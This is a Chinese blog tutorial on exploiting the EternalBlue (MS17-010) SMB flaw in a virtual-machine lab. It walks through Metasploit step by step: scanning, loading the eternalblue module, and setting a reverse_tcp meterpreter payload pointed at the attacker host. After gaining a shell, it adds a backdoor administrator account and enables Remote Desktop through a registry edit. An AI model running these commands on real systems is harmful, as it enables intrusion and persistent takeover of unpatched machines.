永恒之蓝(ms17-010)漏洞利用过程

1,309次阅读
没有评论

共计 2290 个字符,预计需要花费 6 分钟才能阅读完成。

Metaploit 介绍

首先我们进入 metaploit 命令:msfconsole,里面总共有六个模块:

  • 辅助模块 (auxiliary)
  • 渗透攻击模块(exploits)
  • 后渗透攻击模块 (post)
  • 攻击载荷模块 (payloads)
  • 空指令模块(nops)
  • 编码器模块 (encoders)

实验环境

本次实验均基于 Vmware 虚拟机进行操作

  • 攻击机:192.168.213.129 (Kali-Linux 2020.1)
  • 靶机:192.168.213.132 (Windows 7 x64 旗舰版 防火墙关闭状态)
  • 漏洞利用:metaploit ms17_010

漏洞实施

目标扫描

  • 查询 Windows 7 的 ip 地址,命令行输入 ipconfig,ip 为 192.168.213.132
永恒之蓝(ms17-010)漏洞利用过程

  • 使用 Nessus 对目标机器进行扫描
永恒之蓝(ms17-010)漏洞利用过程
  • 使用 nmap 对目标机器进行扫描
永恒之蓝(ms17-010)漏洞利用过程

通过扫描可知,目标主机开放了 445 端口,并且存在 smb 漏洞


首先启动 Vmware 虚拟机中的 Kali-Linux 操作系统,本次教程使用的版本为 Kali-Linux 2020.1

  • 查看 Kali 的 ip 地址,使用 ip addr 命令查看 eth0 可知,ip 为 192.168.213.129
永恒之蓝(ms17-010)漏洞利用过程
  • 在 Kali 中打开终端,输入 msfconsole 命令,当前 metasploit 版本为 v5.0.71-dev
永恒之蓝(ms17-010)漏洞利用过程
  • 在 msf 中,输入 search ms17_010,查询 ms17_010 相关的漏洞内容
永恒之蓝(ms17-010)漏洞利用过程
  0  auxiliary/admin/smb/ms17_010_command  // 扫描 445 在线主机
  1  auxiliary/scanner/smb/smb_ms17_010  // 扫描某个网段内是否存在 ms17_010 漏洞

  2  exploit/windows/smb/ms17_010_eternalblue // 永恒之蓝漏洞利用模块
  3  exploit/windows/smb/ms17_010_eternalblue_win8  
  4  exploit/windows/smb/ms17_010_psexec

auxiliary 目录下的是辅助验证程序
exploit 目录下的是漏洞利用程序 

二次漏洞扫描

使用 msf 的 auxiliary 再对目标机器扫描,判断是否存在 ”ms17_010″ 漏洞

  • 输入如下命令使用 auxiliary/scanner/smb/smb_ms17_010
use auxiliary/scanner/smb/smb_ms17_010
永恒之蓝(ms17-010)漏洞利用过程
  • 输入如下命令查看当前模块的各项参数信息
show options
永恒之蓝(ms17-010)漏洞利用过程
  1. 根据提示信息,在左侧 Current Setting 为当前设置,有一些具有默认值,如果为空,且右侧的 Required 为 yes,则这个值需要我们去设置
  2. 如上图所述,RHOST 的 Current Setting 为空,且右侧为 yes,则这个值需要设置

使用如下命令,设置 rhost 为目标地址

set rhosts 192.168.213.132
永恒之蓝(ms17-010)漏洞利用过程

使用如下命令开始对目标主机进行扫描,可以看到存在 ms17_010 漏洞

run
永恒之蓝(ms17-010)漏洞利用过程

接下来,我们使用 exploit 中的漏洞利用模块,当我们 use 新的模块后,左侧的红色高亮内容将变成我们新使用的模块

use exploit/windows/smb/ms17_010_eternalblue
永恒之蓝(ms17-010)漏洞利用过程

payload 攻击载荷

  • payload 称为攻击载荷,主要用于建立目标机与攻击机之间的稳定连接,并返回一个 shell,也可以进行程序注入等。

meterpreter

meterpreter 其实就是一个 payload,它需要 stagers 和相应的 stages 配合运行,meterpreter 运行在内存中,通过注入 dll 文件实现,在目标机硬盘上不会留下文件痕迹,所以在被入侵时很难找到。所以 meterpreter 非常适合作为攻击载荷模块。

在 MS17-010 中使用了 windows/x64/meterpreter/reverse_tcp 这个攻击载荷,它是由一个传输器载荷(reverse_tcp)和一个传输体载荷(meterpreter)所组成的结合体,其功能等价于独立攻击载荷 windows/x64/shell_reverse_tcp

收下使用如下命令配置 payload 攻击载荷,建立反向 tcp 连接

set payload windows/x64/meterpreter/reverse_tcp
永恒之蓝(ms17-010)漏洞利用过程

输入如下命令查看当前模块的各项参数信息

show options
永恒之蓝(ms17-010)漏洞利用过程

根据上述解析,我们目前知道需要配置两个参数,RHOSTS 和 LHOSTS,RHOSTS 就是目标主机,LHOSTS 就是当前主机,接下来使用如下命令进行设置

set rhost 192.168.213.132
set lhost 192.168.213.129
永恒之蓝(ms17-010)漏洞利用过程

最后,使用如下命令执行漏洞利用

exploit
永恒之蓝(ms17-010)漏洞利用过程

根据上述结果,我们可以看到,左下角已经已经不是红色的漏洞模块会话,而是 meterpreter 会话,说明已经成功渗透成功,拿到了目标主机的 shell 权限

执行 sysinfo, 查询目标主机的系统信息,可以看到具体的计算机名,操作系统具体版本号,系统架构,语言,工作组等信息

永恒之蓝(ms17-010)漏洞利用过程

我们执行 screenshot 命令对目标系统进行截图,截图后存储在 /home/kali 下

永恒之蓝(ms17-010)漏洞利用过程
永恒之蓝(ms17-010)漏洞利用过程

输入 shell,切换到靶机的 System32 目录

永恒之蓝(ms17-010)漏洞利用过程

创建用户并添加管理员权限

net user test test /add
net localgroup administrators test /add
永恒之蓝(ms17-010)漏洞利用过程

开启远程桌面

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
永恒之蓝(ms17-010)漏洞利用过程

连接远程桌面

永恒之蓝(ms17-010)漏洞利用过程

正文完
 
Hlynford
版权声明:本站原创文章,由 Hlynford 2020-03-02发表,共计2290字。
转载说明:除特殊说明外本站文章皆由CC-4.0协议发布,转载请注明出处。
评论(没有评论)